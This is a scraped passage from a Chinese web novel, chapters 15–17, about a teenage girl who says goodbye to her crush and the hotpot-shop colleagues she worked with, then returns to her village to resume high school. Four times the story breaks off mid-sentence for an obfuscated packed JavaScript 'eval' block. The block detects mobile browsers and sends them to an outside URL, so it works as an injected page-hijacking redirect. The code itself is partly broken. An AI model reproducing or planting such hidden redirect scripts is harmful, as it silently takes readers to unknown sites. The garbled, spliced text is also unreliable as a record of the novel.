意料之中的事情,方禾翻看这些喜报时,心情还挺平静,可看着看着,难过的情绪伴随着细碎的疼痛从心口开始蔓延…… 是羡慕吗?是嫉妒吗? 是不甘心?还是惭愧? 方禾不知道。 她只知道从前的她可以肆无忌惮地给袁老师的每一条朋友圈评论。但这一刻,她却心虚到连赞都不敢点。 方禾觉得自己像一个中途弃赛的选手,躲在欢呼的人潮中,偷窥别人的胜利。 也像是一个逃兵,所以在别人打了胜仗之后,不好意思露面,只能躲起来。 明明大家之前都在一起爬山,但她停在了半路,掉了队,眼睁睁看着别人越走越远。 她以为只要把自己目光放在眼前的风景上,不去往山上看,她就不会在意别人走了有多远,爬了有多高。 可当山顶飘扬起旗帜时,藏在阴影里的她想不在意都难。 她不得不承认,她根本没法假装不在意。 夏岩昨天说的话在她耳边响起,她知道,她有些后悔了…… 此起彼伏的蝉鸣声中,方禾仰头看天,也许是因为眼眶中还有泪水,方禾竟然在深邃纯净的蓝天上看到了许许多多的画面—— 她看到了那个早读时昏昏欲睡,就主动从座位上站起来,强打起精神背书的自己。 她看到了那个半期考试考了班里第一名,被袁老师安排在班会课上分享学习经验的自己。 她看到了那个把荣誉证书带回家给奶奶看,因奶奶的笑容而欢欣鼓舞的自己。 每一幕,都仿佛近在眼前,又好像恍如隔世。 对了,还有高一刚进校不久,袁老师让班里每个同学都把自己的目标院校写下来,贴到教室后面的心愿墙上,她当时和佳冰一起翻了好久的《招生考试报》,看各个大学历年的调档线,凑在一起商量了一下午才一笔一划慎重其事地在便利贴上写下了自己心仪的大学。 本来方禾几乎都快忘了这些事情,这时候不知道怎么鬼使神差就想起来了。 原来,她曾经也期盼过考个好大学啊。 方禾想起她小时候跟着奶奶去山上放牛,也是在这样晴朗的蓝天下,她们坐在山坡上,奶奶揉揉她的脑袋,让她好好读书,将来考个大学,走出大山。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483194|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她当时乖乖点头……可是,她终究还是亲手断送了自己的大学之路。 如果奶奶泉下有知,会不会对她感到失望呢? 怪不得这么久了,奶奶都没给她托过梦,是在生她的气吗? 思绪从远处飘回来,方禾又想到了火锅店里的人—— 老板赵文芳自己文化水平不高,但却把女儿思敏的学习看得比什么都重要,几乎每天晚上都有一对一家教,每周末和寒暑假的课外辅导班也跟不要钱似的一直报。那么抠门吝啬的人,在女儿读书上学的这件事情上,花起钱来却一点也不心疼。 玉娇姐抱怨过,她说如果她当初能多读几年书,就能去尝试更多她羡慕的工作了,而不是只能在后厨端盘子,明明不是多喜欢这份工作,却又没有其他的出路可以选。 连娅萍姐以前偶尔也说,担心时间长了自己和她男朋友之间没有共同语言,还说如果她学历再高那么一点,可能她男朋友的父母会少轻视她一些。 还有夏岩,他宁可自己暂时不读书,宁可自己多辛苦些,也要保证珂珂没有后顾之忧地在学校里念书。在那样拮据的经济条件下,他们家依然给珂珂买各种文具,买课外书、工具书,送珂珂去上她喜欢的书法班。 而且,夏岩他是休学不是退学,他自己也说了不出意外的话他会回到大学里去,继续他的学业生涯。 平时方禾没注意这些,现在仔细一回想,才惊觉原来她身边的人都这样看重读书上学。 在这样的对比之下,方禾在上学这条路上的退缩显得尤为明显。 别人都挣着往前跑,只有她自甘堕落地停留在原地。 有什么东西滴落在了树荫下的地砖上,一滴又一滴。 蹲在地上的方禾抬手摸摸脸,她还以为是天热流下来的汗水,一摸才发现原来是自己哭了。 她擦了擦眼泪,起身往火锅店的方向走。 烈日下,一切都恹恹的,连花坛里的绿植也没什么精神。 走着走着,从一家酒店外经过时,即便不抬头,方禾也感觉到这里的人尤其多,氛围尤其热闹。 好奇心的驱使下,方禾随意一瞥,就在酒店门口的电子显示屏上看见了“金榜题名”“升学宴”这样的字眼。 那么鲜红,那么刺眼,想去刻意忽略都难。 刚止住不久的泪水又开始啪嗒啪嗒地掉。 所以,她这一个月里的那些难过,其实不完全是因为看见别人都有人爱,她所渴望的,也不只是一个恋人。 她想要的东西有很多。 方禾胡乱抹掉眼泪,走到清静的街角,拿出手机,颤着指尖,拨通了袁老师的电话。 那边很快就接起,方禾有千言万语想说,这时候却哽咽着不知道该从何处说起。 她沉默着,袁老师像是猜透了她的心思,开门见山地问:“想回来了?” 方禾吸吸鼻子:“对。” 一字出口,眼泪流得更汹涌了。 方禾在哭,电话那头的袁老师反倒是欣慰地笑了:“你能这样想就好,高三是八月五号开学,我希望那天能在学校里看到你。” 15. 第 15 章 方禾在手机上看好火车票,酝酿了一番,就去找赵文芳了。 如果方禾说要回家结婚,赵文芳可能会说些阻拦的话,可方禾是要回去读书的,赵文芳只能高高兴兴地放人离开。 那些假意说要长期干,实际上干一两个月就走人的暑假工,赵文芳也没觉得她们去上学有什么不对的,她介意的是这些人骗了她。 “想回去就回去吧,我到时候提前把工资结给你,你年纪还这么小,一直在这儿待着是挺可惜的。” 赵文芳的嗓门大,一时间,在大堂里的人都知道方禾要走了。 跟她同屋的几个姐姐停下手里的活跑过来问她怎么好端端地突然就说要走,方禾只是简单地解释了两句,因为连她自己也说不清楚为什么突然就想回去了。 也许是被夏岩那天的话刺激了,也许是佳冰的劝说起了作用,也许是被袁老师朋友圈的那些喜报晃了眼,也许是想起了奶奶曾经对她的期望,心里觉得愧疚……总之,方禾就是想回去了,甘愿暂时回到那个她讨厌的家里。 姐姐们关心了几句,一一散开。 方禾在纠结要不要告诉夏岩……想到他这段时间都不正眼看她,还那样凶她,方禾本不想去自讨没趣。 可晚上看到夏岩家教完要离开店里的时候,方禾还是没忍住追了出去,她选了他指给她的那条路,总得给他说一声。 招人烦就招人烦吧,反正都决定要走了,能多看几眼就看几眼,能多说几句话就多说几句,方禾不想给自己留遗憾。 “夏岩。”方禾对着夏岩的背影喊道。 她看到夏岩的脚步顿了顿,可下一秒,他的脚又迈了出去,没有停留的意思。 她赶忙追上去说:“你先别急着走,我就是想跟你说一声,我要回家了。” 夏岩很意外,前天晚上她还在非常强硬地说不会回去,这么快居然就改变主意了? 他回过头,看着身前垂着脑袋的小姑娘。 正想问为什么,他就听见方禾紧跟着解释道:“就是突然想通了,觉得你们说的其实都挺有道理的,之前是我太任性太偏激了。” 夏岩克制住想轻拍她脑袋的冲动,心里有些欣慰,这种欣慰跟看到妹妹知错就改、期末考试拿到奖状、篮球比赛得第一名时的心情差不多。 晚风里裹挟着牛油锅底的余温,并不怎么好闻,好在方禾已经习惯了,她盯着夏岩的衣角,继续说:“我知道你不想我缠着你,我只是想跟你道个别,毕竟以后可能都不会再见到了。” 她在卢嘉,哪怕说不见,也能偷偷看他几眼。 可等她回了广青,就真的是想见也见不到了。 路灯昏黄的光线在地砖上投下两个人的影子,方禾静静等了一会儿,见夏岩久久没有开口说话,她缓缓抬头,最后一次跟他对视:“我说完了,先进去了。” 方禾转身,夏岩却忽然叫住了她。 他问:“什么时候走?” 方禾转头,盛满笑意的眼睛望向夏岩:“下个月二号。” 今天才七月二十五号,还剩七个整天。 阳台的衣服还没干,网购的快递还在半路上,行李还没收拾,工资也还没结,方禾还想再去吃两次炸鸡拌饭,再去夜市买一次臭豆腐和红糖锅盔,还想给思敏和珂珂一人买点礼物……离开前要做的事情有很多,再加上方禾确实不太想住在那个家,所以她就没买太早的票。 夏岩喉头滚动,最终还是把那句“我送你”咽下了,只是点点头,表示自己知道了。 她这个年纪,本来就应该回去念书。 夏岩很高兴她总算不再因为一时的固执而耽误自己的前途,可是,知道方禾要走,想到以后再也不能在卢嘉看到她了,夏岩心中居然也有些不舍。 他强压下这股莫名的不舍,催着方禾回店里。 他看着方禾回到热闹的大堂,才转过身继续走他自己的路。 - 告完别之后,就是收拾东西。 从家里跑出来的时候,方禾当时只带了手机、钱和一些衣服鞋子,一个大书包和一个手提袋就装下了。 现在不一样,收拾行李时,方禾发现她要带回家的东西实在是太多了—— 这一年里陆续添置的衣物鞋子和化妆品、玉娇姐在她生日时送她的那瓶桃子花果调的香水、珂珂借花献佛送给她的那个兔子玩偶、她自己买下的棉花娃娃、还有她为了打发时间而买的几本言情小说…… 于是,方禾又去了一趟地下商场,买了一个行李箱,再把塞不下的衣服都打包好寄走,这才全部收拾妥当。 至于那些带不走的棉絮、囤多了的卫生纸、还剩大半瓶的洗衣液、十多个衣架……方禾都送给了同宿舍的姐姐。 月末店休的时候,方禾上街去吃了最让她留恋的那几家小吃,给思敏和珂珂一人买了一份礼物。 她给思敏准备的是向日葵的积木花,给珂珂的是一个迷你桌面篮球机。 路过花店时,方禾又进去买了一个发财树小盆栽,这是给赵文芳的。 虽然赵文芳很抠门,生怕她们开空调开久了,偶尔说起话来也有点尖酸刻薄,但凭心而论,赵文芳对她还算不错,毕竟当初方禾丢了钱包走投无路的时候,是赵文芳给了她落脚的地方,还预支了工资给她。 也是因为赵文芳,她认识了玉娇姐和娅萍姐,和夏岩的交集也变多了。 方禾发誓,她今天出门绝对没有想要去找夏岩的意思!除了那晚的告别,这几天她一直都遵守承诺,见到夏岩出现在店里就绕着他走。 就连这份买给珂珂的礼物,方禾也是准备一起交给思敏,让思敏拿给夏岩,代为转交。 可偏偏就是这么凑巧,方禾只是随意从一家面包店外经过,想进去买点泡芙什么的,结果刚一只脚踏进店门,她就瞧见了收银台后那个熟悉的身影。 几乎没有犹豫,方禾马上就把迈出去的那只脚撤了回来,快步从店门口离开,仿佛她只是没看清楚招牌走错了店铺。 目睹了方禾想进店却碍于他在而不得不离开的夏岩:“……” 方禾这副见到他就如同见了鬼的神情,这副避他如同躲避洪水猛兽的样子,明明是夏岩先前求之不得的,可真看到方禾对他避之不及、落荒而逃,夏岩却并不高兴,心底反而泛起了几丝细密的疼痛,像被针尖扎了,像被锋利的爪子挠了。 都要分别了,方禾不想自己在夏岩心里是一个死缠烂打、纠缠不清的人。 她希望她最后给夏岩留下的印象是洒脱的,利落的。 她拿得起,也放得下。 方禾换了一家面包店,买了一大袋泡芙和蝴蝶酥,拿回去给宿舍里的姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489107|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们吃。 到底都在同一个屋檐下住着,虽说关系算不上多亲厚,但有吃的喝的大家都习惯分着一起吃。能认识也是缘分,以后大概率也不会再见到了,方禾乐意最后请大家吃一次零食,算是为这段缘分画上一个圆满的句号。 前十六年,方禾好像没有被命运眷顾过,反倒是离家出走之后,她一路上遇到了不少好人。 次日下午,快到上班时间了,方禾抱着小发财树跑去店里找赵文芳。 爱钱的赵文芳收到意头好的发财树,自然是高兴得不得了,本来也该到发工资的日子,赵文芳索性顺便把方禾的工资结给了她。 方禾收了钱,看着手机里的余额,若有所思。 她那个爸爸,虽然不怎么靠谱,跟她关系也不好,但她找他要钱的时候他还是会给的,何况她还没成年,那本来也是他应该给的。 所以方禾现在用不着这些钱。夏岩倒是很需要钱,可她真要把自己打工攒下的钱拿给夏岩,不用想也知道,他肯定不会收的。 思来想去,方禾还是觉得由赵文芳来转交比较合适。 “算我拜托您了,这些钱您随便找个什么由头给夏岩,说是奖金或者涨工资都行。” 赵文芳拨弄着发财树的叶子,有些无奈:“你这丫头傻不傻,自己辛辛苦苦好不容易挣点钱,干嘛要上赶着给别人送去?” 方禾不傻,她愿意给夏岩钱,并不全是因为她喜欢夏岩。 她感谢夏岩在那个雨夜给予她的善意,更感谢他们一家人在那个除夕给予她的温暖。 她心疼小小年纪就格外懂事的珂珂,心疼愁出白头发的黄书翠,也心疼同时打那么多份工的夏岩。 打工的这一年里,方禾虽然爱买一些吃的穿的玩的,但买的都不贵,又不用付房租,基本上没花出去什么大钱,攒下了快两万块钱,方禾自己留了一部分,转一万五给了赵文芳。 一万五千块钱,或许帮不了夏岩家什么大忙,但或许可以给珂珂买几件新衣服,让珂珂多一点零花钱,让家里吃几顿好菜,让夏岩有时间好好睡一觉。 “我乐意给,你就说帮不帮吧?”方禾手臂一伸,勾住赵文芳的胳膊,一个劲儿地晃悠。 “哎,帮帮帮。”赵文芳收下了方禾刚刚转过来的钱,拉下方禾的手,戳了戳她的脑袋,“但我得好好跟你说道说道,你这毛病得改,不然以后真处对象了,是会吃亏的。” 赵文芳知道方禾从小就没了妈妈,她自己又有个女儿,这时候母爱泛滥,也想跟方禾说点心里话。 “你们年轻人不是爱上网吗,你没到网上好多人都在说,那什么,‘心疼男人就是不幸的开始’,反正,要是思敏以后长大了像你这样,我肯定要好好骂她一顿,骂醒她。” “男人是靠不住的,只有自己的本事,和手里的钱,才是真正靠得住的东西。什么喜欢啊,爱啊,那都是虚的。” 赵文芳一说起来就没完没了,方禾搬了个小板凳过来坐着,坐到店里开始营业,赵文芳总算唠叨完,方禾如蒙大赦,飞快地抄起拖把拖地去了。 她知道赵文芳跟她说那些是为她好,说的也有道理,她只是不喜欢听唠叨而已。 晚上,夏岩来了,方禾本来还是习惯性地躲。 可想到以后就见不到夏岩了,她便躲在一旁悄悄看了夏岩好几眼。 16. 第 16 章 时间进入八月。 一号这天,方禾就没去店里上班了。 她睡了个懒觉,下楼吃早饭的时候顺道买了些零食带着明天路上吃。 把零食装好,仔细检查了一遍行李,方禾又出门了。 她骑着自行车,最后一次感受卢嘉这座小城的风。 午餐当然是吃的她最留恋的那家炸鸡拌饭,下午把周边的公园、博物馆、寺庙逛了一遍,晚上又去夜市上吃吃喝喝玩了个够,这才尽兴而归。 因为没去店里,也没刻意去小区外的烧烤摊前等,方禾也就没能见到夏岩。 翌日清早,其他姐姐还在熟睡,方禾就轻手轻脚地起来了。 洗漱好,把充电器装进随身的包里,方禾认认真真打量了一遍这间住了一年的房子,提上行李箱出门了。 刚把门关上,对面的房门却应声而开。 “路上注意安全,这年头骗子多,你一个小姑娘,多小心点,别喝陌生人给你的水。” 赵文芳应该是刚从床上爬起来,头发还乱糟糟的,看到方禾就递了一个袋子过来。 方禾接过,见里面装着酸奶,饮料,还有矿泉水。 东西不多,也不贵重,但却让方禾心头一暖。 她笑着道了谢,往楼下走。 方禾还没吃早饭,在小区门口吃了一大碗酸辣粉,一出店门,她就看见路边站着一个人。 方禾还以为是自己眼花认错人了,她眨了眨眼睛再去看,那个人居然真的是夏岩。 更让方禾惊喜的是,夏岩也正直直地看着她。 这说明夏岩一大早出现在这里并不是碰巧,也许他是专程来跟她道别的? “吃饱了吗?”夏岩自来熟一般走过来接管了方禾的行李箱,问道。 方禾点点头。 “那现在去火车站?” 方禾还是点头。 她其实很高兴,很想像从前那样笑着跟夏岩说话,可她怕自己表现出什么欢喜的情绪会让夏岩嫌恶,也就不敢让情绪外露。 夏岩早就从思敏嘴里打听到了方禾车票的具体时间,一路把方禾送到进站口,见离检票时间还早,就让方禾等他一下。 方禾等啊等,十多分钟后,就看到夏岩提着炸鸡和奶茶回来了。 她有些惊讶:“给我的?” 夏岩把东西递到她手边,算是默认。 之前买烤红薯是为了安慰她,不算数。一年前给她的炸鸡和奶茶也是买给妹妹的,只是顺手给了她而已,更不算数。 这次才是他第一次特意给方禾买吃的。 接过两个袋子,方禾打量着夏岩的神色,试探着问:“你不讨厌我了?” “我从来都没有讨厌过你。” 看着方禾因他的话而愈发明亮的眼眸,夏岩忽然生出了几丝懊悔。 不该来送的。 夏岩想,即使来也不该出现在她的面前让她看见。 可偏偏,他控制不住自己。 她都要走了,夏岩实在是无法说服自己在她面前装出一副冷心冷眼的样子。 即使他不肯承认,即使他一遍又一遍地欺骗自己,可他终究是在意的。 夏岩一直盼着方禾能回去,但真到了送她上车的这一刻,他忽然就生出了许许多多的不放心,甚至起了再去给自己买一张票亲自把她送回广青的念头……可是,这真的合适吗?他担心这样的举动会乱了方禾的心。 隔着包装袋,方禾能感觉到奶茶和炸鸡的温度,还热着。 既然夏岩并不讨厌她,方禾准备为自己争取一下。 是真心的喜欢也好,是青春的执念也好,方禾都不甘心就这样不明不白的结束。 “夏岩,你之前说我年纪小,不懂什么是喜欢,那如果我考上大学之后还是喜欢你,是不是就能说明我不是一时兴起,是真的喜欢你?” “如果到了那时候,我确实还喜欢着你,你也没有交女朋友,你能不能考虑一下我?” 犹豫了很久,夏岩说:“好。” 既是顺从自己的内心,也是给方禾留一个念想。备战高考的日子那么苦,有个念想能够激励她也是好的。 更何况,如果说“不”,夏岩怕方禾又会像上次那样大哭。当着他的面哭还好,至少他还能稍微哄一哄,可万一她在火车上哭呢?万一她一路上都哭呢? 经历了家庭的变故,夏岩早就对“世事无常”这四个字有了更深一层的体会。或许命运眷顾,他们都会好好的,或许上天残忍,说不定哪天就有意外发生。一旦分别,能不能重逢都是未知。 未来的事情谁能说得清?但起码这一刻,夏岩不想让方禾带着遗憾上火车。 而且,再有三个多月方禾也就满十八岁了,所以他应该也不算太逾矩? 方禾没想到夏岩居然轻易就答应了,激动之下,她有些得寸进尺:“那我可以跟你聊天吗?” “可以。”话出口时夏岩就觉得自己答应得太过草率,可已经答应了,他就不好再反悔,只能补充,“但是最多一个月给我发一次消息,你要是敢多发,我就把你删了,让你找不到我。” 方禾的心一沉,她忽然意识到夏岩确实有让她找不到他的资本。 在卢嘉打工的这些日子里,她几乎每天都能跟夏岩见上面,没有打电话的必要,所以方禾一直都不知道夏岩的手机号码。 方禾这才想起该问夏岩要一个他的手机号。 但夏岩不肯给。 任凭方禾怎么软磨硬泡都没用,夏岩是铁了心不给她手机号。 他很清楚,方禾这次回去要以读书为重,如果总想着给他打电话,怎么能把心思放在学习上。 “好吧,不给就不给,那咱们商量一下,每个月发消息的次数能不能多一点?十次怎么样?平均三天发一次呢,已经很少了。” 夏岩没说话,只给了她一个“想得美”的眼神。 方禾退了一步:“八次?” 夏岩态度坚决:“不行。” 方禾叹气,再退一步:“七次?” 夏岩还是摇头。 “六次,这总行了吧?” “最多四次。”夏岩妥协了,“一周一次,刚好你们每周都会放假,你就在放假的时候给我发,平时老实点,该交手机的时候就自觉交。” 比起之前的不能联系,能发四次消息好像也不错了。 谈话谈得愉快,时间也过得快,转眼就该进去准备排队检票了。 把行李箱交还给方禾的时候,夏岩叮嘱道:“手机钱包身份证都要贴身收好,睡觉的时候就抱在怀里,万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493172|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一有什么事就找乘务员和乘警。” “好好好,你变得好啰嗦,我又不是没出过门的小孩子,我会照顾好自己的。” 方禾拉着行李箱的拉杆,利落地转身就走。 走了几步,方禾像是想起了什么,突然折返回来。 “对了,这个给你。” 方禾往夏岩手里塞了个东西,解释说:“我本来是买来准备自己种的,没想到计划赶不上变化,等回去了我应该也没有闲情逸致种了,就送给你吧。” 直到目送方禾推着行李箱的身影消失在安检入口,夏岩才垂眸去看自己手里的那一小袋种子。 - 上车放好行李箱,方禾在自己的座位上坐好。 这是她第二次坐火车,相比一年前第一次出门的手足无措、忐忑不安,这次已经从容了很多。 喝着奶茶,透过车窗望向天空时,方禾意识到自己是真的要走了,要离开这座待了一年的城市了。 方禾很不舍,不只是舍不得夏岩,她也舍不得抠门但热心肠的老板赵文芳,舍不得温柔的玉娇姐,舍不得嘴毒但善良的娅萍姐,舍不得员工宿舍里其他给她分享过零食的姐姐,舍不得淘气爱笑思敏,舍不得漂亮可爱的珂珂,舍不得小区外的鸡蛋灌饼和剁椒面筋,舍不得夜市的臭豆腐和旋转小火锅…… 时间真是神奇,居然这么快就一年了吗? 方禾听到了车门关闭的声音,随后,列车缓缓驶离站台,离卢嘉越来越远。 方禾闭上眼睛靠在座椅椅背上。 她没睡着,只是迷迷糊糊地想起了第一次跟夏岩见面的时候。 方禾从家里跑出来后的目的地并不是卢嘉,她会来到这里,只是因为一个意外。 夏季本来就多雨,方禾坐的那趟火车就是因为前方要经过的城市突发暴雨,才不得不在卢嘉站停车。 方禾被安排住进了火车站附近的酒店。 本来她也无所谓去哪里,既然在这里下车了,那就是有缘分,方禾决定留在这座她看起来很顺眼的小城,所以列车恢复运行时她主动说想要终止行程。 她住的酒店是铁路部门给滞留旅客提供的临时安置点,现在她需要离开,要么就要自己花钱续住。 方禾当然是选择离开了,她想去找个经济实惠的地方住。 她生疏地操作着导航软件,找到了一家青年旅舍,但倒霉的事情发生了,她的钱包丢了。 明明从酒店出来之后她在路边吃早饭的时候还用钱包付过钱,她不确定钱包是不小心掉在了大街上,还是在经过拥挤的公交站时被人顺手偷走了。总之,她变成了一个身无分文的人。 那个雨水晕染路灯光的夜晚,方禾又冷又饿的时候,碰到了夏岩。 孤身在外,方禾的警惕性很高,毕竟她的小姨就是一个人外出打工然后再也没有回来过。 方禾当时就觉得夏岩长得像个好人,所以大着胆子让他帮忙给她买点吃的。 事实证明,方禾的眼光还不错,夏岩确实是个好人,不但温柔善良,还正直。 夏岩没有因为她的喜欢就沾沾自喜,也没有利用她对他的喜欢来占有她,相反,他还在引导她去走正确的路。 不管以后他们之间的结果如何,方禾都不后悔自己喜欢过这样一个人。 17. 第 17 章 火车上,方禾一手支着下巴,百无聊赖地望着窗外。 耳边是车轮碾过铁轨发出的哐当声,眼前时而是城区,时而是稻田,时而是青山。 她靠着座椅靠背打了会儿盹,清醒时,火车正在经过一个很长的隧道。 她看了看时间,估摸着大概已经快到广青的地界了。 方禾从广青火车站出来的时候,已经是二号的傍晚了。 如果坐高铁会快很多,但方禾还是买了火车的票。 方禾也不知道自己在固执地坚持什么仪式感,她只是觉得,自己去年是坐着火车来卢嘉的,今年就也想坐着火车离开,这样才显得有始有终。 落日黄昏,虽然这个时间点,还有回镇上的大巴车,但到了镇上也赶不上回村的车了。 方禾就跟专门来接她的韩佳冰一起住在火车站旁边的旅馆里。 小时候,村里的其他孩子都不爱跟方禾玩,他们总在方禾耳边说她是没爹没娘的野孩子。 方禾不会胆怯地站在那里被别人骂,她会撸起袖子跟骂她的那些人打架,不管是男生还是女生,只要对方恶意嘲笑、戏弄她,她都会骂回去、揍回去。 时间长了,虽然没人敢再来欺负她了,可也没人愿意跟她一起玩。 只有韩佳冰,会跟着她,会拉她的手,会在没有人愿意和她坐同桌的时候主动举手说想跟方禾一起坐。 放好行李,许久未见的两个小姑娘挽着彼此胳膊,踏着夕阳出去吃晚饭。 在外面的时间长了,方禾还是很怀念家乡的味道。 来上一碗红油上撒满翠绿葱花的肥肠粉,一碟酸酸辣辣的神仙凉粉,再来一笼皮薄馅多的酱肉包,方禾人还没回到学校,就不由得想起了语文课本里的“鲈鱼堪脍”“季鹰归未”。 到底是偏僻地方发展慢的城市,这一年,广青好像变了,又好像没变。 远处山顶上的白色大风车依然慢悠悠地转着,盲道依旧坑坑洼洼,但路边的花坛里的花好像换了品种,街边也多了许多方禾没见过的新店。 韩佳冰眼里的方禾倒是变了不少。 分别之前,大家都是土里土气的小姑娘,但方禾现在的穿衣打扮明显时髦了些,说话举止也都成熟了不少。 不愧是经过社会洗礼的人,韩佳冰在心里感慨。 “我带了化妆品回来。”回到旅馆,方禾打开行李箱,把给佳冰准备的礼物拿出来,“这些是送给你的,高中管得严,但你马上就是大学生了嘛,刚好可以趁暑假学一学,等去了大学就天天都打扮得漂漂亮亮的。” 韩佳冰接过方禾给她的一盒化妆品,好奇地打开,看里面都有什么。 看着方禾蹲在地上整理那大包小包的行李,韩佳冰忍不住问:“你回来的事情,那个夏岩知道吗?” “知道啊。”方禾拍拍行李箱,“今天早上还是他送我去火车站的。” “那你们现在是算怎么回事?” 高中虽然明令禁止谈恋爱,但是哪个班没有几对小情侣,哪个班没有上演过谁谁谁喜欢某某某这种暗恋戏码,晚自习下课后,趁着夜色在回寝室的路上耍朋友的人也不少,韩佳冰早就见怪不怪了。 所以就算方禾已经在和夏岩谈恋爱了,她也不会觉得奇怪,顶多好奇一下好姐妹的感情进展和恋爱故事。 说曹操曹操到。 韩佳冰话音刚落,方禾的手机就响了一下,她扫了一眼屏幕,发消息来的人正是夏岩。 【到了吗?】 方禾埋头打字,她没发现自己在笑,但韩佳冰却注意到了她上扬的唇角。 【早就到了,我连晚饭都吃过了,现在和我朋友在一起。】 方禾还附上了晚餐的照片,想让夏岩也看看广青地道的美食。 夏岩:【嗯。】 只回了一个字,好似他发消息来只是为了确认她是否平安,确认后,就完全没有要继续跟她闲聊的意思了。 果然是夏岩,分寸感拿捏得恰到好处。 就算她接着发消息过去,以方禾对夏岩的了解,他大概率也不会回复。 方禾索性收起了手机,回答韩佳冰刚刚的问题。 “只能算朋友吧,我跟他表白过的,被他劈头盖脸骂了一顿。” 方禾之前都没看出来,平时温文尔雅的夏岩,凶起人来会那么毫不留情。 当时韩佳冰刚高考完,正是开心的时候,紧跟着又要考虑填志愿的事,方禾也就没跟她说自己表白遭拒还被骂的这件事情。 “啊?”韩佳冰吃了一惊,有些怀疑好姐妹怎么喜欢上了一个凶巴巴的人,“不答应就不答应,他怎么还骂人啊?” “不是那种骂呐……”方禾解释道,“一开始我也以为他那么凶,一定是很讨厌我,后来慢慢才想明白,他骂我更多是恨铁不成钢吧,他觉得我年纪小,不应该在这个时候谈恋爱,也不应该浪费大好青春一直在火锅店端盘子。” 韩佳冰点点头:“这还差不多。” “今天上车前他答应我,等我考上大学就再考虑考一下我对他的表白。”方禾挨着韩佳冰坐到床上,晃了晃脚,“我也答应他了,考上大学前少跟他联系。” 韩佳冰:“所以你和他现在只能算普通朋友关系。” “没错。” “至于以后嘛,”方禾对了对手指,“看缘分吧,我心里总有一种预感,我一定还会跟夏岩见面,很大概率会发生一些故事哦。” 因为彻夜聊天,两个女孩子一直睡到快中午的时候才醒。 退了房,吃了饭,韩佳冰帮方禾推着行李箱,两人一起去汽车站搭车。 到了镇上,又下车,去搭回村的车。 住得偏远,回家就是麻烦。 韩佳冰知道方禾不太乐意待在家里,就邀请方禾去她家里住。 方禾没答应。 偶尔住一两晚还行,但即便她脸皮够厚,一直长住也不是办法。她总归都要面对那个家才行。 不就是吵架吗,她才不怕方朝贵。 果不其然,方禾还没进屋,坐在院子里晒太阳的方朝贵就开始对她冷嘲热讽。 见到消失了一年的孙女,方朝贵脸上没有一点失而复得的喜悦,只是一个劲儿地阴阳怪气:“哟,稀客啊,居然还知道回来,在外面混不下去了?有本事就永远莫回来。” 方禾叉着腰跟方朝贵对骂了一通,找来笤帚和抹布把屋子里打扫了一遍,然后就拎着行李箱进屋收拾东西,不再搭理方朝贵。 方朝贵一个人骂骂咧咧了一会儿,没人跟他嚷嚷,他也觉得没意思,卷了一根叶子烟装进烟斗,一边吸着烟,一边往有牛铃铛响的山坡走。 许久没人住的屋子散发着淡淡的霉味,地上堆了一筐土豆和几袋麦子,床上也全是杂物。 方禾把土豆和小麦搬到一边,才腾出一条稍微宽敞些的路。 清理完杂物,方禾从行李箱里翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498054|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出干净的床单被套换上,然后去翻找她以前的教材和笔记本。 方禾本来没抱什么希望,谁知道她不在家的这一年里方朝贵会不会把她的书当废品卖了。 也因为没抱希望,所以在床底的纸箱里翻出她的课本、试卷、练习册时,方禾觉得很惊喜。 这些东西和她走之前一样,整整齐齐地码放在纸箱子里,连固定各科试卷的夹子都还原原本本地夹在上面。不过因为屋子里比较潮,书翻起来软塌塌的。 方禾拿了一个小木头板凳,坐在床边,把需要带去学校的书本都整理出来,准备明天出太阳的时候抱出去晒晒。 收拾好书,方禾又打开手机备忘录,把开学要买的东西都列出来,免得少买了哪样。 床上三件套她有,但棉絮得买。虽然她之前在寝室用的棉絮还在家里,但现在没人送她上学,她一个人拿不上那么多东西,只能去了学校再买新的用。 